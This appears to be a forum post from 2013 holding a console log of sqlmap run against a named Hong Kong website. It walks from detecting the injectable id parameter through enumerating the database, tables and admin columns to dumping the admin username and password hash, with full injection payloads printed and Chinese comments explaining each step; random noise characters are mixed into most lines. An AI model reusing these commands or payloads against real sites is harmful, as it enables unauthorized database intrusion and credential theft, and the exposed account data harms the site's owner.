D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db, H, P8 c( |; k; W! m& c! Q
ms "Mysql" --current-user /* 注解：获取当前用户名称
! f7 @' D; @( b( c2 ? sqlmap/0.9 - automatic SQL injection and database takeover tool
) ?, u M p. h* F, d% H http://sqlmap.sourceforge.net starting at: 16:53:542 T5 E. {# G' h2 F/ x& U
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as% t& {; {; c0 Y9 H
session file" D, { }$ f2 X9 F% I( @
[16:53:54] [INFO] resuming injection data from session file) n9 W) c, w; }/ b# F* m
[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
# n3 i: H1 k! @1 q3 O1 y[16:53:54] [INFO] testing connection to the target url
6 b6 N" l0 `, X: e! Z' q# K7 qsqlmap identified the following injection points with a total of 0 HTTP(s) reque6 Y: K) y+ ?4 A: v
sts:# D- v) ^/ x* O# Y9 c: G( {* Q+ l
---: d8 `/ ]9 h5 B0 H( }
Place: GET2 q- I5 t3 b' V, j( M5 t8 }: O
Parameter: id, w! |; B1 x5 {2 w2 L, q7 E
Type: boolean-based blind
. D2 y4 h6 @! p b' j# l+ C Title: AND boolean-based blind - WHERE or HAVING clause
' b5 @7 y/ u5 O4 u6 f Payload: id=276 AND 799=799
! B# l2 N2 p1 W, d2 n$ i Type: error-based
0 ]& B6 g% G! Q: \* m% H Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause! j8 k! \- F2 n m
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# t! C+ q; Z+ t! @% q- Z! b
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
# Y+ H6 h5 Y5 C7 X" i),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)2 m) k: ? [2 p3 W0 \" ]
Type: UNION query
& m4 ~5 y; G: G" Z9 U( a. { Title: MySQL UNION query (NULL) - 1 to 10 columns2 l1 f- D5 l# _5 X5 r
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
/ [% [' f: u0 _* |" i$ z(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),! I2 h/ L2 w! T* U2 T) w
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" ]9 ~" Q( L7 _+ n
Type: AND/OR time-based blind3 L- y/ m) \' @6 [5 o9 D
Title: MySQL > 5.0.11 AND time-based blind1 \: }9 U2 }: {1 Y
Payload: id=276 AND SLEEP(5): b! E! _. {) {/ X9 |3 a# J4 b
---8 R0 _ G3 D# I8 a
[16:53:55] [INFO] the back-end DBMS is MySQL F: c4 {% Y0 ]
web server operating system: Windows" R. v% F5 e" [* `
web application technology: Apache 2.2.11, PHP 5.3.0+ Q/ I& c8 q# `
back-end DBMS: MySQL 5.0
I4 Z* j) R+ R/ ]. U1 o[16:53:55] [INFO] fetching current user
/ |6 E/ t, b/ g" \- a8 k3 Ccurrent user: 'root@localhost'
' `0 j6 m" Y/ T. p& }( B" h[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou: M+ y2 p& v# F- \# u9 Q7 y D6 J
tput\www.wepost.com.hk' shutting down at: 16:53:58; Q" _ Y4 |* i2 c9 E" W
- m7 L/ a* ]& I9 l8 A0 fD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db: N! c: Z/ L8 b8 i: X6 q$ a
ms "Mysql" --current-db /*当前数据库2 D: o; h7 V; O- f. z
sqlmap/0.9 - automatic SQL injection and database takeover tool% Y! r( @1 @! J& `# ~
http://sqlmap.sourceforge.net starting at: 16:54:16! m3 U+ X0 ~+ f( u# r+ L* U& a
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
5 q+ C6 r) Z* v" I4 E8 q session file7 X" H9 K' K! g x
[16:54:16] [INFO] resuming injection data from session file& y+ g4 J* d) Q* x0 g; N
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
+ U! R/ r. V: E2 Z- G, A0 [4 W[16:54:16] [INFO] testing connection to the target url
6 d. A/ J3 S v6 H" Csqlmap identified the following injection points with a total of 0 HTTP(s) reque
/ f+ S3 B% u- R8 {6 ksts:# V H8 t2 w8 \
---
* C& Z* _" a( z: U& mPlace: GET
& f% [5 c! W; [' T/ ~Parameter: id
! E( k* S6 }* p8 T; m# h Type: boolean-based blind- n9 i' o1 M" Y) Q5 O
Title: AND boolean-based blind - WHERE or HAVING clause/ C5 ^3 G- R* k1 t% J2 N
Payload: id=276 AND 799=7997 h u* A( K o0 G+ _+ ?
Type: error-based) u$ R5 J9 N; I: h8 J9 ?
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause5 A- _, j$ M' ~/ ~
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,# Q% u& W- ]7 i
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58# S: }( Y1 |1 [( V* w8 f# _1 v
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)" x9 G. K' H* K) A- c* C
Type: UNION query- Z8 y5 A& Q: J6 ?! m
Title: MySQL UNION query (NULL) - 1 to 10 columns( i2 O$ ^8 l7 a0 V/ E
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR& P2 H# S2 t9 d" X1 ?2 l
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
# L& c- i/ k2 Y" C0 _CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#* M% |: i0 C. f9 G, ]& d
Type: AND/OR time-based blind/ j* j5 F) i3 H
Title: MySQL > 5.0.11 AND time-based blind( U8 L1 A# r+ X& t) l. V
Payload: id=276 AND SLEEP(5)2 L( K8 @8 }/ m# `+ m% a. ?
---+ `' h1 ] C+ \( y$ A
[16:54:17] [INFO] the back-end DBMS is MySQL! E- Z3 B* b( ]" J7 J) O
web server operating system: Windows
0 u+ W# E& Z5 Xweb application technology: Apache 2.2.11, PHP 5.3.0& K: X6 q! v3 P# K2 B, v% V
back-end DBMS: MySQL 5.0, V# s+ e# _9 ?+ { B
[16:54:17] [INFO] fetching current database
$ K) _# J7 Q" H! c( F* B5 t# b4 ^current database: 'wepost'
) o8 X7 ^1 K- r$ R+ i[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
" _* r8 z* |+ u& [tput\www.wepost.com.hk' shutting down at: 16:54:18' e$ o0 B$ b' b9 `4 i L( C4 e# s
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
- N. P! M' b# Q/ s& Pms "Mysql" --tables -D "wepost" /*获取当前数据库的表名
3 U' p3 L* Z9 j: P/ p( v8 I. Y sqlmap/0.9 - automatic SQL injection and database takeover tool
0 k- g6 K( O& e% Q9 }. t) d* ^6 F H% u http://sqlmap.sourceforge.net starting at: 16:55:25: E5 y& o/ @% P; d: m( l
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as; ~, B3 X* H( `/ t
session file
, {3 V2 v/ r) i+ Z+ _0 t- i! j[16:55:25] [INFO] resuming injection data from session file* _" W: z! K7 x4 d
[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file4 f% w, q; A/ A6 f& e J
[16:55:25] [INFO] testing connection to the target url
4 b2 d& W$ T8 {8 Z1 dsqlmap identified the following injection points with a total of 0 HTTP(s) reque
1 O* p. l. {$ Lsts:- D, k- j' m' U/ [
---
- l X5 Z9 u V) ^- k! G# jPlace: GET# p- \* z* Y8 s3 |: d4 e4 H. w
Parameter: id
1 v/ }, ]9 B4 u3 D1 D" Z Type: boolean-based blind
4 g4 R8 } R/ V, H' ?* @9 k Title: AND boolean-based blind - WHERE or HAVING clause" Y+ [5 t, W, Y$ s( B% K
Payload: id=276 AND 799=799
# l8 P, w/ H0 h) v. @0 _ Type: error-based
2 y& G7 w- C- P( n! p Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause+ p' r# m9 y6 Z- M0 X7 i2 e, F
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,! P0 S+ _# O& f. m% T- h+ y
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58/ O( T% e5 r7 Q: O
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)% _4 c, b2 l9 i, q
Type: UNION query
: y) t& U- Q" @+ O& } Title: MySQL UNION query (NULL) - 1 to 10 columns
& C' c0 R. [4 h6 ^8 P3 T Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR* l x, Q2 S8 i$ W3 v/ V
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
2 z" T- i4 f/ {5 [/ B9 J; ICHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL## a4 D q& D a
Type: AND/OR time-based blind
; w$ u' @; A" C8 [% M Title: MySQL > 5.0.11 AND time-based blind
0 @& P! W/ Y, l/ f; C Payload: id=276 AND SLEEP(5)
( V- |, g' b9 w4 e S/ V& f4 [; E---, u! C; l$ T B9 Q, Z% ]: x
[16:55:26] [INFO] the back-end DBMS is MySQL
9 P5 L, j. F0 I. t1 k$ yweb server operating system: Windows
2 P9 u: U- g9 s0 aweb application technology: Apache 2.2.11, PHP 5.3.07 }9 e+ ^- {) q8 ?/ C' {
back-end DBMS: MySQL 5.0
$ |( x$ z. A g/ k- l[16:55:26] [INFO] fetching tables for database 'wepost'5 ^. e- N! z b1 z) r
[16:55:27] [INFO] the SQL query used returns 6 entries2 l2 q2 G/ t( t4 _3 v7 B
Database: wepost, x1 N7 t$ S. B( P8 V
[6 tables]# c! R; t1 R' J# s4 [ X- _9 q
+-------------+3 ^* u; Y; d9 P
| admin |
* F8 C0 g, l4 ]% ], E| article |
9 }) b! d( @9 n8 p5 {| contributor |
: T' ~5 k ]2 Q, {| idea |% d! O' ]$ c' u9 J
| image |& @+ N4 `" M% e$ `) N6 u p
| issue |1 z7 j6 ^9 \+ L* \% c; n& C. S3 H8 n1 ~
+-------------+% s! K# H3 x/ p7 }# P0 X6 j
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
6 L0 l8 D6 P+ p6 J/ o2 L5 v) Stput\www.wepost.com.hk' shutting down at: 16:55:33
9 r, U# A1 Q, e' }% N! S' U) j4 P
H' n% t, x" AD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
/ W7 {" S _; ~' P4 T- }ms "Mysql" --columns -T "admin" users-D "wepost" -v 0 /*获取admin表的字段名
, k6 }4 u$ f& C! {$ g. n sqlmap/0.9 - automatic SQL injection and database takeover tool/ j9 \" q. |6 N1 I/ r% V1 L% ?( J2 x% y
http://sqlmap.sourceforge.net starting at: 16:56:06% y/ j R% u0 n* r+ e( n6 M
sqlmap identified the following injection points with a total of 0 HTTP(s) reque+ C7 N3 U0 Q6 R' o% r
sts:+ ?6 j% O: _: I9 g$ ^
---2 ]+ M; r# e5 n: y) f o
Place: GET
) l! T* b; A- ^. L, O; zParameter: id
! F5 N( L8 O9 N- p2 M; A2 u Type: boolean-based blind
* W2 e) o' u* S Title: AND boolean-based blind - WHERE or HAVING clause z7 |3 X3 b! d I. w
Payload: id=276 AND 799=799" ]# C5 i) @. x, r6 l* h( i2 z& _
Type: error-based
" k$ f; A3 a2 f- s+ K# o& |8 j* ^ Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
9 R) C6 u5 H7 k- T' ~ Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,% l/ K" ]# k( d# d j3 r6 \
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' Y2 q* h% I0 U; o9 h
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
7 ?/ C" a) V! `9 }. [+ ] Type: UNION query5 G- [) V7 s( P
Title: MySQL UNION query (NULL) - 1 to 10 columns) w% n4 [7 E% n9 G
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
% d5 @; G1 }3 j* {+ Z(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),5 [5 ]9 s9 a K. R7 K0 J
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#8 `% V1 I5 s$ t) ]; G9 a
Type: AND/OR time-based blind
% G/ F. R- g& O! q# b+ J P% `2 F Title: MySQL > 5.0.11 AND time-based blind
/ c) J$ k* D& k8 L) Q5 N' n7 l! ~; Y Payload: id=276 AND SLEEP(5)# |1 z! Y% k) |2 T1 N6 [
---
7 F6 A) A" g! P& sweb server operating system: Windows. ]' R8 D& w. W7 A1 b9 p. O
web application technology: Apache 2.2.11, PHP 5.3.0. j, {' z# L, |& r! V
back-end DBMS: MySQL 5.0
0 t; s+ ~: p: {; G3 W[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
, r1 B& @; F3 M) S* m, p) ~ssion': wepost, wepost4 y# ~2 i0 p! V$ T d
Database: wepost
' [% L* U" c2 y. G. vTable: admin, y% _, Y" d5 X# S/ H
[4 columns]
* s( W0 i% E& }7 E$ w+----------+-------------+
" s( Q" N( Q( k& x0 B/ K, z# h| Column | Type |8 A! d+ X; p* d9 C: s
+----------+-------------+' a9 K9 {& V+ d ?' o2 n/ O' G
| id | int(11) |$ O2 [) r$ X/ i) E
| password | varchar(32) |- C! n: H3 \+ D2 h. g
| type | varchar(10) |
9 @9 l( ^; C6 l. U6 V| userid | varchar(20) |
- Q1 X. x) R# x, b& k+----------+-------------+
, n! Y& J$ _' k* S" ^* d' B shutting down at: 16:56:19/ Z& B g* }. i" Z" Z: L; k
2 b5 e2 x* x9 R0 z8 \; i0 tD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db% o+ x/ k: p# Q+ s- \$ z
ms "Mysql" --dump -C "userid,password" -T "admin" -D "wepost" -v 0 /*获取字段里面的内容6 d% b! u: F5 r' ]1 t, P
sqlmap/0.9 - automatic SQL injection and database takeover tool
9 q) D7 F$ \) J8 T! D6 J$ |/ d http://sqlmap.sourceforge.net starting at: 16:57:147 k& ]8 C, ^% ^" O. V) Z" o; `% j
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
8 I% k( [9 L8 X2 r& lsts:
$ |. w: |9 ?0 z3 O/ Q---) j% m2 M& I8 \! d& N: t1 i
Place: GET
9 t8 d! T6 `+ f) L7 vParameter: id
# X9 O8 m! R- c5 b# ?( H0 u) v Type: boolean-based blind
& M+ e, J) Y* m; o Title: AND boolean-based blind - WHERE or HAVING clause
8 z0 A9 T# v; k1 o; ]* F Payload: id=276 AND 799=799) ]4 i: h3 @# \ N" n
Type: error-based
1 Z: h) \; m" J- P; C$ @ Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause& }6 S- s, z) N! e9 ~1 [+ g
Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
# ?1 o1 d) H% |! G |120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58% b; v5 h) Y, X, V: l% K
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)7 b4 e* v0 j- y( m
Type: UNION query1 h# s$ D# O% u3 a( c
Title: MySQL UNION query (NULL) - 1 to 10 columns6 r- {4 `; ~" W
Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
8 d% V* N0 c- {( F(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),# t2 h* K1 M* a, {4 n3 I
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
# E R/ v. ?" o; `5 L* |% A8 X Type: AND/OR time-based blind& z4 p1 A! Z' G, B9 o4 J
Title: MySQL > 5.0.11 AND time-based blind
, c* g [7 }3 X- e! T8 ` Payload: id=276 AND SLEEP(5)- ^5 `. o& Y* Z b
---( ^( m! z( |: \, O# @5 M) P2 H1 X
web server operating system: Windows
5 @! \5 P9 d5 Kweb application technology: Apache 2.2.11, PHP 5.3.0* V5 d) S6 [& A+ u- I; {: A+ W0 U
back-end DBMS: MySQL 5.0
" q( | A' E( p5 Zrecognized possible password hash values. do you want to use dictionary attack o
9 C( t/ M/ @; }' C4 E) J4 Bn retrieved table items? [Y/n/q] y/ P9 l( n4 D4 g2 b! w) W
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
& e3 z/ }; Q5 L0 k% Bdo you want to use common password suffixes? (slow!) [y/N] y
$ i9 q9 z# ?& q- w3 O/ D6 `; CDatabase: wepost% n) u4 x$ M% W+ Q j
Table: admin
3 O9 b; d6 p" `+ h[1 entry]" H: a7 a# [4 j$ A8 z
+----------------------------------+------------+
/ R3 m( Y; g/ O' D| password | userid |; \5 w; o, l( [: {+ }
+----------------------------------+------------+% }! T' l; W! ^" [
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
' E$ V& _8 O# C+----------------------------------+------------+
' i4 v2 v7 Q! ?# j, d, N shutting down at: 16:58:14
$ p% V3 T, V/ `7 Q. B. ^! s
" b6 r/ a4 Y. Y* @0 _0 C( A( ZD:\Python27\sqlmap> |
发表于 2013-4-4 22:18:49
收藏
支持
反对